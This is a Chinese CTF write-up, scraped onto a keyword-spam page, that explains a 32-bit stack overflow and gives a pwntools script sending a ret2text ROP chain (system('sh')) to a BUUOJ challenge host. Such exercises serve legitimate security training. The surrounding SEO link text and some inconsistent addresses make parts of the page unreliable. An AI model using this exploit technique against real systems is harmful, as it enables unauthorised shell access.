当前位置: 首页 > wzjs >正文

长春网站建设v1网络推广销售是做什么的

长春网站建设v1,网络推广销售是做什么的,国内做app软件开发最好的公司,响应式网页前端设计1. 背景分析 目标程序是一个存在漏洞的二进制文件,我们可以通过以下方式利用漏洞获取 shell: 程序中存在 system() 函数,但没有明显的 /bin/sh 字符串。 使用工具(如 ROPgadget)发现程序中有 sh 字符串,可…
1. 背景分析

目标程序是一个存在漏洞的二进制文件,我们可以通过以下方式利用漏洞获取 shell:

  1. 程序中存在 system() 函数,但没有明显的 /bin/sh 字符串。

  2. 使用工具(如 ROPgadget)发现程序中有 sh 字符串,可以利用它作为 system() 的参数。

  3. 程序的交互逻辑需要先输入密码,然后选择操作,最后通过溢出漏洞触发 ROP 链。

2. 具体步骤
步骤 1:确定偏移量

通过分析程序的漏洞点(例如通过格式化字符串漏洞或堆溢出漏洞),找到可以覆盖返回地址的偏移量。假设偏移量为 0x48 + 4

步骤 2:查找关键地址

使用工具(如 ROPgadgetIDA Pro)查找以下地址:

  • system() 函数的地址。

  • main() 函数的地址(用于防止程序崩溃)。

  • sh 字符串的地址。

示例命令:

bash复制

ROPgadget --binary ./zzz --search "system"
ROPgadget --binary ./zzz --search "sh"

假设:

  • system() 的地址为 0x08048430

  • main() 的地址为 0x08048500

  • sh 的地址为 0x08048123

步骤 3:交互流程

程序的交互逻辑如下:

  1. 程序提示输入管理员密码。

  2. 程序提供选项,需要选择 1 添加 log。

  3. 程序提示输入新的 log,此时发送构造的 ROP 链。

  4. 再次选择操作,选择 4 触发漏洞。

步骤 4:构造 ROP 链

根据上述地址和偏移量,构造 ROP 链:

  1. 填充到返回地址的偏移量。

  2. 覆盖返回地址为 system() 的地址。

  3. system() 返回后跳转到 main(),防止程序崩溃。

  4. sh 的地址作为 system() 的参数。

步骤 5:发送 ROP 链并触发漏洞

通过网络交互,发送构造的 ROP 链,并触发漏洞。

第一个条件s1 == 'administrator'

 ADDLog():我们看到这里是输入log,跟我们的flag有关系

                          a1是我们外面传进来的src = 48,读取128个就造成了溢出

 

from pwn import *context(os = 'linux',arch = 'i386',log_level = 'debug')
content = 0
elf = ELF('./zzz')def main():if content == 1:p = process('zzz')else:p =remote('node5.buuoj.cn',25739)#0x080482ea : shsh_addr     = 0x080482easystem_addr = elf.sym['system']payload     = b'a' * (0x48+0x4) + p32(system_addr) + b'aaaa' + p32(sh_addr)p.sendlineafter("Please input admin password:",'administrator')p.sendlineafter("0.Exit\n:",'1')p.sendlineafter("Please input new log info:",payload)p.sendlineafter("0.Exit\n:",'4')p.interactive()
main()

http://www.dtcms.com/wzjs/457730.html

相关文章:

  • 苏州seo网站推广公司友链购买
  • 合肥集团网站建设公司磁力宝最佳搜索引擎入口
  • wordpress为艾迪网站推广优化c重庆
  • 广州网站建设推荐q479185700顶上长沙seo就选智优营家
  • win7主机做网站免费的网站推广方法
  • 网站swf怎么做市场营销主要学什么
  • 帝国cms做搜索网站seo技术交流论坛
  • 网站模板但没有后台如何做网站西安seo关键词推广
  • 最低成本做企业网站 白之家网页制作免费模板
  • 小说网站的阅读界面怎么做的seo网站推广工具
  • 网站开发h5页面微信搜一搜seo优化
  • 免费网页建设搜索优化指的是什么
  • 个人网页制作与网站建设网站推广软件下载安装免费
  • 无极网站无极城市在线长春网站优化体验
  • 网站模板用什么打开文案写作软件app
  • 区域销售网站什么做新手怎么做网络销售
  • 红色政府建站模板网站设计方案
  • 基础网站建设的实施步骤跨境电商平台有哪些
  • web免费代码网站什么样的人适合做营销
  • 金融网站建设方案ppt模板北京百度seo排名点击软件
  • 连云港网站建设电话跨境电商平台有哪些
  • 自媒体自助下单网站怎么做电商培训大概多少学费
  • 做网站的步骤 优帮云电商平台推广费用大概要多少
  • node 做的网站后端专门制作小程序的公司
  • 律师网站建设怎么样谷歌seo搜索优化
  • 电子商务网站建设卷子推广运营平台
  • 计算机毕设代做网站关键词怎么优化到百度首页
  • 网站产品链接怎么做百度统计登录
  • 学做网站要学哪些营销型网站建设需要多少钱
  • 潍坊市建设工程质量安全监督站网站推广网站的方法有哪些